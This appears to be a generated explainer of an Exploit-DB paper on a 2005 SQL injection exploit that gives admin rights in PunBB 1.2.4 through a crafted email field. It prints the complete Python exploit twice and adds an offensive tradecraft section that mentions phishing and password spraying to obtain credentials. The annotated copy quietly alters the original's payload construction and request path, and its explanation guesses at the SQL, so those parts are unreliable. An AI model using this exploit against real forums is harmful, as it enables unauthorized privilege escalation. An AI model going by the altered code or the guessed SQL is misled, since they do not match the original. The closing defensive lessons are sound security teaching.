PunBB 1.2.4 'id' SQL Injection Exploit Explained

PunBB 1.2.4 'id' SQL Injection Exploit Explained
What this paper is
This paper details a proof-of-concept exploit for PunBB version 1.2.4. It targets a SQL injection vulnerability in the change_email functionality of the forum software. The exploit allows an attacker to change the email address associated with a user account, potentially leading to privilege escalation if the target user is an administrator. The exploit is presented as a Python script.
Simple technical breakdown
The core of the vulnerability lies in how PunBB 1.2.4 handles user-supplied input when changing an email address. The script crafts a malicious email address that, when processed by the server, tricks the SQL query into executing unintended commands.
Specifically, the script:
- Logs in to the PunBB forum using provided credentials to obtain a session cookie.
- Extracts the
user_idfrom the cookie. - Constructs a specially formatted email address. This crafted email includes SQL injection payloads that manipulate the
INSERTorUPDATEstatement used to change the email. - Submits a request to change the email address for the identified
user_idusing the crafted malicious email. - If successful, the forum software will send an activation email to the attacker-controlled email address. The attacker can then use this to confirm the email change and potentially gain administrative privileges if the target user was an admin.
Complete code and payload walkthrough
Let's break down the Python script provided.
#!/usr/bin/python
#######################################################################
# _ _ _ _ ___ _ _ ___
# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
#
#######################################################################
# Proof of concept code from the Hardened-PHP Project
#######################################################################
#
# -= PunBB 1.2.4 =-
# change_email SQL injection exploit
#
# user-supplied data within the database is still user-supplied data
#
#######################################################################
import urllib
import getopt
import sys
import string
__argv__ = sys.argv # Stores the command-line arguments passed to the script.
def banner():
print "PunBB 1.2.4 - change_email SQL injection exploit"
print "Copyright (C) 2005 Hardened-PHP Project\n"
def usage():
banner()
print "Usage:\n"
print " $ ./punbb_change_email.py [options]\n"
print " -h http_url url of the punBB forum to exploit"
print " f.e. http://www.forum.net/punBB/"
print " -u username punBB forum useraccount"
print " -p password punBB forum userpassword"
print " -e email email address where the admin leve activation email is sent"
print " -d domain catch all domain to catch \"some-SQL-Query\"@domain emails"
print ""
sys.exit(-1) # Exits the script with an error code.
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:") # Parses command-line options.
except getopt.GetoptError:
usage() # Calls usage() if there's an error parsing options.
if len(__argv__) < 10: # Basic check for minimum number of arguments. This is a weak check.
usage()
username = None
password = None
email = None
domain = None
host = None
for o, arg in opts: # Iterates through parsed options.
if o == "-h":
host = arg # Stores the target URL.
if o == "-u":
username = arg # Stores the username.
if o == "-p":
password = arg # Stores the password.
if o == "-e":
email = arg # Stores the target email address.
if o == "-d":
domain = arg # Stores the catch-all domain.
# Printout banner
banner()
# Check if everything we need is there
if host == None:
print "[-] need a host to connect to"
sys.exit(-1)
if username == None:
print "[-] username needed to continue"
sys.exit(-1)
if password == None:
print "[-] password needed to continue"
sys.exit(-1)
if email == None:
print "[-] email address needed to continue"
sys.exit(-1)
if domain == None:
print "[-] catch all domain needed to continue"
sys.exit(-1)
# Retrive cookie
params = {
'req_username' : username,
'req_password' : password,
'form_sent' : 1
}
wclient = urllib.URLopener() # Creates a URL opener object for making HTTP requests.
print "[+] Connecting to retrieve cookie"
# --- Login Request ---
# This section attempts to log in to the PunBB forum to obtain a session cookie.
# The login URL is constructed as host + "/login.php?action=in".
# The parameters include the username, password, and a 'form_sent' flag.
req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
info = req.info() # Retrieves the HTTP headers from the response.
if 'set-cookie' not in info:
print "[-] Unable to retrieve cookie... something is wrong"
sys.exit(-3) # Exits if no 'set-cookie' header is found, indicating login failure.
cookie = info['set-cookie'] # Extracts the 'set-cookie' header value.
cookie = cookie[:string.find(cookie, ';')] # Truncates the cookie string to remove session flags like 'path', 'domain', etc., keeping only the session ID part.
print "[+] Cookie found - extracting user_id"
# The user_id is extracted from the cookie. The format appears to be something like:
# "user_id%3A%221%22%3B..." where '1' is the user_id.
# This line finds the start of the user_id value after "%3A%22" and before "%22%3B".
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
print "[+] User-ID: %d" % (int(user_id)) # Prints the extracted user ID.
wclient.addheader('Cookie', cookie); # Adds the retrieved cookie to the URL opener's headers for subsequent requests.
# --- Crafting the Malicious Email ---
# This is the core of the SQL injection payload.
# The goal is to inject SQL code into the email field.
# The original email is split and manipulated.
# Example: if email="test@example.com" and domain="evil.com"
# email becomes: '"test"@' + 'evil.com' + '","\',' + padding + 'group_id=\'1' + '"@' + domain
# This results in a string like:
# '"test","\', group_id='1' "@"evil.com
# ^-- part of original email name
# ^-- SQL injection starts here: closes the string, injects SQL, starts a new string
# ^-- injects the desired group_id
# ^-- closes the injected string and starts a new email part
email_part1 = '"' + email[:string.find(email, '@')] + '"@' # Takes the username part of the email, quotes it, and appends '@'.
email_part2 = email[string.find(email, '@')+1:] # Takes the domain part of the original email.
# The payload is constructed to break out of the expected SQL string and insert new values.
# The structure is designed to exploit a query like:
# UPDATE users SET email = '...' WHERE id = ...
# The injected string aims to become:
# 'original_email_part', 'some_value', 'group_id='1' -- '
# The exact SQL is unknown without seeing the PunBB source, but this structure suggests:
# It closes the current string literal for the email, inserts a comma, then injects 'group_id=\'1'.
# The trailing '"@' + domain is to ensure the resulting string still looks like an email address to the application,
# but the injected SQL has already modified the database.
# The padding `(50-len(append))-len(email)` is to ensure a fixed length or to fill space,
# which might be relevant if the SQL query has fixed-size fields or specific parsing logic.
# The `group_id='1'` part is likely intended to change the user's group to '1', which is often the administrator group.
append = 'group_id=\'1' # This is the SQL payload to change the user's group to ID 1.
# The padding calculation is a bit obscure and depends on the exact SQL query structure.
# It aims to construct a string that looks like an email but contains the SQL injection.
# The total length of the string is being manipulated.
email = email_part1 + ( ((50-len(append))-len(email_part1)) * ' ' ) + append + '"@' + domain
params = {
'req_new_email' : email, # The crafted malicious email address.
'form_sent' : 1
}
print "[+] Connecting to request change email"
# --- Change Email Request ---
# This section sends the request to change the email address.
# The URL is constructed as host + "/profile.php?action=change_email&id=" + user_id.
# The 'id' parameter is the user_id obtained earlier.
# The 'req_new_email' parameter contains the specially crafted malicious email.
req = wclient.open(host + "/profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))
print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"
if __name__ == "__main__":
main()
# milw0rm.com [2005-04-11]Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/python: Shebang line, specifies the interpreter.import urllib, getopt, sys, string: Imports necessary Python modules for URL manipulation, command-line argument parsing, system functions, and string operations.__argv__ = sys.argv: Stores command-line arguments.banner(): Prints the exploit's title and copyright.usage(): Displays how to use the script and exits.getopt.getopt(sys.argv[1:], "h:u:p:e:d:"): Parses command-line arguments for host, username, password, email, and domain.if len(__argv__) < 10:: A basic check for the number of arguments.- Variable assignments (
username = None, etc.): Initializes variables to store user inputs. urllib.URLopener(): Creates an object to handle HTTP requests.wclient.open(host + "/login.php?action=in", urllib.urlencode(params)): Sends a POST request to the login page to authenticate and get a session cookie.req.info(): Retrieves HTTP headers from the login response.if 'set-cookie' not in info:: Checks if a cookie was successfully set.cookie = info['set-cookie']: Extracts the cookie string.cookie = cookie[:string.find(cookie, ';')]: Truncates the cookie to get the session ID.user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]: Extracts theuser_idfrom the cookie string. This relies on a specific cookie format.wclient.addheader('Cookie', cookie): Sets the extracted cookie for subsequent requests.email_part1 = '"' + email[:string.find(email, '@')] + '"@': Takes the local part of the target email, quotes it, and appends '@'.email_part2 = email[string.find(email, '@')+1:]: Takes the domain part of the target email.append = 'group_id=\'1': This is the core SQL injection payload. It aims to set thegroup_idto '1'.email = email_part1 + ( ((50-len(append))-len(email_part1)) * ' ' ) + append + '"@' + domain: This line constructs the malicious email string. It combines the quoted local part, padding, thegroup_id='1'payload, and then a closing quote and the target domain. The padding calculation is to ensure the final string fits within certain length constraints or to make the injection more robust. The exact structure suggests the SQL query might look something likeUPDATE users SET email = '...' WHERE id = ...and the injection aims to make itUPDATE users SET email = 'quoted_local_part', group_id='1' -- ' WHERE id = .... The-- 'would comment out the rest of the original SQL query.params = {'req_new_email' : email, 'form_sent' : 1}: Prepares parameters for the change email request, with the malicious email.wclient.open(host + "/profile.php?action=change_email&id=" + user_id, urllib.urlencode(params)): Sends the POST request to thechange_emailaction with the crafted email.if __name__ == "__main__": main(): Standard Python entry point to call themainfunction.
Shellcode/Payload Segments:
The "payload" in this exploit is not traditional shellcode but rather a carefully crafted string that is injected into the req_new_email parameter.
Stage 1: Authentication and Session Hijacking (Implicit)
- Purpose: To obtain a valid session cookie and the
user_idof the logged-in user. - Mechanism: The script logs in using provided credentials (
login.php?action=in) and captures theset-cookieheader. It then parses this cookie to extract theuser_id. - Telemetry: Network traffic to
/login.php?action=inwith POST data (username, password). HTTP response withset-cookieheader.
- Purpose: To obtain a valid session cookie and the
Stage 2: SQL Injection Payload Construction
- Purpose: To create a malicious email string that will alter the database when processed by the
change_emailfunctionality. - Mechanism: The script manipulates the target email address. The key part is
group_id='1'. This is injected into the email string in a way that breaks out of the SQL string literal and inserts this command. The surrounding characters (",@,"etc.) are used to ensure the injected string is syntactically valid within the context of an email address and to potentially comment out the remainder of the original SQL query (e.g., using--if the SQL uses that syntax, though the script doesn't explicitly show--). The padding is likely to ensure the injected string fits or to bypass length checks. - Payload String Example (Conceptual):
"target_user_local_part","' group_id='1' -- '"@attacker_controlled_domain.com
(The exact structure depends on the PunBB's internal SQL query forchange_email). - Telemetry: The crafted email string itself is the payload.
- Purpose: To create a malicious email string that will alter the database when processed by the
Stage 3: Execution of SQL Injection
- Purpose: To trigger the SQL injection by submitting the crafted email to the vulnerable endpoint.
- Mechanism: The script sends a POST request to
profile.php?action=change_emailwith theidof the target user and the maliciousreq_new_email. - Telemetry: Network traffic to
/profile.php?action=change_emailwith POST data including theuser_idand the crafted malicious email.
Stage 4: Privilege Escalation (Post-Exploitation)
- Purpose: To gain administrative privileges by changing the user's group.
- Mechanism: If the SQL injection is successful, the
group_idof the target user is changed to '1' (assuming '1' is the administrator group ID in PunBB 1.2.4). The user would then need to confirm the email change (via an email sent to the attacker's address) and log in again to see their new privileges. - Telemetry: Database modification (change in
group_idfor the user). Potentially, a new email sent from the forum to the attacker's specified email address.
Practical details for offensive operations teams
- Required Access Level: Low privilege. The attacker needs to be able to interact with the web application as a regular, logged-in user. No administrative access is required initially.
- Lab Preconditions:
- A running instance of PunBB 1.2.4 (or a similarly vulnerable version).
- A user account with known credentials (username and password) on the target PunBB instance.
- A way to receive emails at the specified
-eaddress (or a domain that can be configured to catch all emails for the-ddomain). This is crucial for the confirmation step. - Network access to the target PunBB web server.
- Tooling Assumptions:
- Python interpreter installed on the attacker's machine.
- The
urllib,getopt,sys, andstringmodules are part of Python's standard library, so no external installations are typically needed. - A web browser for manual verification after the exploit.
- Execution Pitfalls:
- Incorrect URL: The
-hparameter must be precise, including the path to the PunBB installation (e.g.,http://example.com/forum/). - Incorrect Credentials: If the provided username/password are wrong, the cookie retrieval will fail.
- Cookie Format Changes: The script relies on a specific format of the
set-cookieheader and how theuser_idis embedded within it. If PunBB or the web server modifies this format, theuser_idextraction will fail. - SQL Query Variations: The exact SQL injection payload depends on the specific SQL query used by PunBB 1.2.4 for the
change_emailaction. If the query structure is different, the payload might need adjustment. The padding calculation is also a potential point of failure if the underlying field lengths are different. - Email Confirmation: The exploit requires the attacker to be able to receive emails sent by the forum to confirm the email change. If this is not possible, the privilege escalation might not complete.
- Rate Limiting/WAFs: Modern web applications might have rate limiting or Web Application Firewalls (WAFs) that could detect and block the login attempt or the malicious email submission.
- Version Specificity: This exploit is for PunBB 1.2.4. Newer versions or different forum software will not be vulnerable.
- Incorrect URL: The
- Tradecraft Considerations:
- Reconnaissance: Identify the target application and its version. Confirm it's PunBB 1.2.4 or a known vulnerable version.
- Credential Acquisition: Obtain valid user credentials for a non-admin user. This might involve phishing, password spraying, or other methods depending on the engagement scope.
- Email Interception: Ensure the attacker can receive emails sent to the compromised account's original email address or to a controlled email address for confirmation.
- Stealth: The initial login and email change requests might generate standard web server logs. The SQL injection itself is embedded in a seemingly legitimate request. The main indicator would be the database change and the subsequent email confirmation.
- Post-Exploitation: After successful privilege escalation, the attacker would typically log in again with the compromised credentials to access administrative functions.
Where this was used and when
- Context: This exploit targets a specific vulnerability in the PunBB forum software. It was likely used by security researchers to demonstrate the vulnerability and by malicious actors to gain unauthorized access to PunBB-powered forums.
- Timeframe: The exploit was published on April 11, 2005, by milw0rm.com (via the Hardened-PHP Project). This indicates the vulnerability existed and was actively exploited or demonstrated around this period. PunBB 1.2.4 was released prior to this date.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. All data submitted by users, especially when used in database queries, must be rigorously validated and sanitized.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements for all database interactions. This is the most effective defense against SQL injection, as it separates SQL code from data.
- Least Privilege Principle: Ensure that database users have only the necessary permissions. Avoid granting broad privileges that could be abused if an injection occurs.
- Regular Patching and Updates: Keep web applications and their underlying frameworks/libraries updated to the latest stable versions. Vulnerabilities like this are often patched in later releases.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense by detecting and blocking common attack patterns, including SQL injection attempts.
- Secure Coding Practices: Educate developers on secure coding practices, including the dangers of SQL injection and how to prevent it.
- Logging and Monitoring: Implement comprehensive logging of web application and database activities. Monitor logs for suspicious patterns that might indicate an attack.
- Application Security Testing: Regularly perform vulnerability assessments and penetration testing on web applications to identify and remediate security flaws before they can be exploited.
ASCII visual (if applicable)
This exploit involves a client-server interaction and data manipulation within the server's backend. A simple flow diagram can illustrate the process.
+-----------------+ +-------------------+ +---------------------+
| Attacker Client |----->| PunBB Web Server |----->| PunBB Database |
+-----------------+ +-------------------+ +---------------------+
| |
| 1. Login Request |
| (username, password) |
| |
+------------------------+
| 2. Login Success
| (Set-Cookie)
|
+------------------------->
|
| 3. Change Email Request
| (user_id, malicious_email)
|
+------------------------->
|
| 4. SQL Injection
| (UPDATE email, SET group_id)
|
+------------------------->
|
| 5. Email Confirmation
| (Sent to attacker)
|
+------------------------->
|
| 6. Admin Access
| (Attacker logs in)
|
+------------------------->Explanation of the Visual:
- Attacker Client: The machine running the Python exploit script.
- PunBB Web Server: The server hosting the vulnerable PunBB application.
- PunBB Database: The backend database storing user information.
- Step 1 (Login Request): The attacker sends credentials to log in.
- Step 2 (Login Success): The server responds with a session cookie. The script extracts the
user_idfrom this cookie. - Step 3 (Change Email Request): The attacker sends a request to change the email for the identified
user_id, using a specially crafted malicious email. - Step 4 (SQL Injection): The PunBB application processes the malicious email, and the injected SQL code modifies the database, specifically changing the
group_id. - Step 5 (Email Confirmation): The PunBB application sends an email to the attacker's controlled address to confirm the email change.
- Step 6 (Admin Access): After confirming the email change, the attacker can log in with the compromised user's credentials and potentially have administrative privileges.
Source references
- Paper ID: 928
- Paper Title: PunBB 1.2.4 - 'id' SQL Injection
- Author: Stefan Esser
- Published: 2005-04-11
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/928
- Raw Exploit Code URL: https://www.exploit-db.com/raw/928
Original Exploit-DB Content (Verbatim)
#!/usr/bin/python
#######################################################################
# _ _ _ _ ___ _ _ ___
# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
#
#######################################################################
# Proof of concept code from the Hardened-PHP Project
#######################################################################
#
# -= PunBB 1.2.4 =-
# change_email SQL injection exploit
#
# user-supplied data within the database is still user-supplied data
#
#######################################################################
import urllib
import getopt
import sys
import string
__argv__ = sys.argv
def banner():
print "PunBB 1.2.4 - change_email SQL injection exploit"
print "Copyright (C) 2005 Hardened-PHP Project\n"
def usage():
banner()
print "Usage:\n"
print " $ ./punbb_change_email.py [options]\n"
print " -h http_url url of the punBB forum to exploit"
print " f.e. http://www.forum.net/punBB/"
print " -u username punBB forum useraccount"
print " -p password punBB forum userpassword"
print " -e email email address where the admin leve activation email is sent"
print " -d domain catch all domain to catch \"some-SQL-Query\"@domain emails"
print ""
sys.exit(-1)
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
except getopt.GetoptError:
usage()
if len(__argv__) < 10:
usage()
username = None
password = None
email = None
domain = None
host = None
for o, arg in opts:
if o == "-h":
host = arg
if o == "-u":
username = arg
if o == "-p":
password = arg
if o == "-e":
email = arg
if o == "-d":
domain = arg
# Printout banner
banner()
# Check if everything we need is there
if host == None:
print "[-] need a host to connect to"
sys.exit(-1)
if username == None:
print "[-] username needed to continue"
sys.exit(-1)
if password == None:
print "[-] password needed to continue"
sys.exit(-1)
if email == None:
print "[-] email address needed to continue"
sys.exit(-1)
if domain == None:
print "[-] catch all domain needed to continue"
sys.exit(-1)
# Retrive cookie
params = {
'req_username' : username,
'req_password' : password,
'form_sent' : 1
}
wclient = urllib.URLopener()
print "[+] Connecting to retrieve cookie"
req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
info = req.info()
if 'set-cookie' not in info:
print "[-] Unable to retrieve cookie... something is wrong"
sys.exit(-3)
cookie = info['set-cookie']
cookie = cookie[:string.find(cookie, ';')]
print "[+] Cookie found - extracting user_id"
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
print "[+] User-ID: %d" % (int(user_id))
wclient.addheader('Cookie', cookie);
email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','
append = 'group_id=\'1'
email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain
params = {
'req_new_email' : email,
'form_sent' : 1
}
print "[+] Connecting to request change email"
req = wclient.open(host + "profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))
print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"
if __name__ == "__main__":
main()
# milw0rm.com [2005-04-11]